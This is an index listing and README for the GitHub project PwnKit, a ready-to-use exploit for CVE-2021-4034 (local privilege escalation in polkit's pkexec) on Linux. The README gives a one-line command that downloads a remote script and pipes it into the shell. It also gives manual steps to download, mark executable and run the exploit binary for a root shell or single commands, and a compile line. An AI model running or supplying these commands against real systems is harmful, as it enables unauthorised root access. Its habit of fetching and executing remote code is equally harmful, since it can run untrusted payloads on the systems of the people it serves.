Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/ly4k/PwnKit
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
https://github.com/ly4k/PwnKit
cve-2021-4034
Last synced: about 1 month ago
JSON representation
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
- Host: GitHub
- URL: https://github.com/ly4k/PwnKit
- Owner: ly4k
- License: mit
- Created: 2022-01-26T14:26:10.000Z (almost 3 years ago)
- Default Branch: main
- Last Pushed: 2022-06-21T14:52:05.000Z (over 2 years ago)
- Last Synced: 2024-10-30T01:38:09.966Z (about 1 month ago)
- Topics: cve-2021-4034
- Language: C
- Homepage:
- Size: 569 KB
- Stars: 1,073
- Watchers: 13
- Forks: 189
- Open Issues: 5
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-hacking-lists - ly4k/PwnKit - Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation (C)
README
# PwnKit
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
## Usage
Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
```bash
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
```![](./imgs/oneliner.png)
### Manually
```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
```![](./imgs/exploit.png)
### Patched
Running the exploit against patched versions will yield the following output.
![](./imgs/patched.png)
### Build
```bash
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
```## Technical Details
- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
## References
- https://github.com/arthepsy/CVE-2021-4034/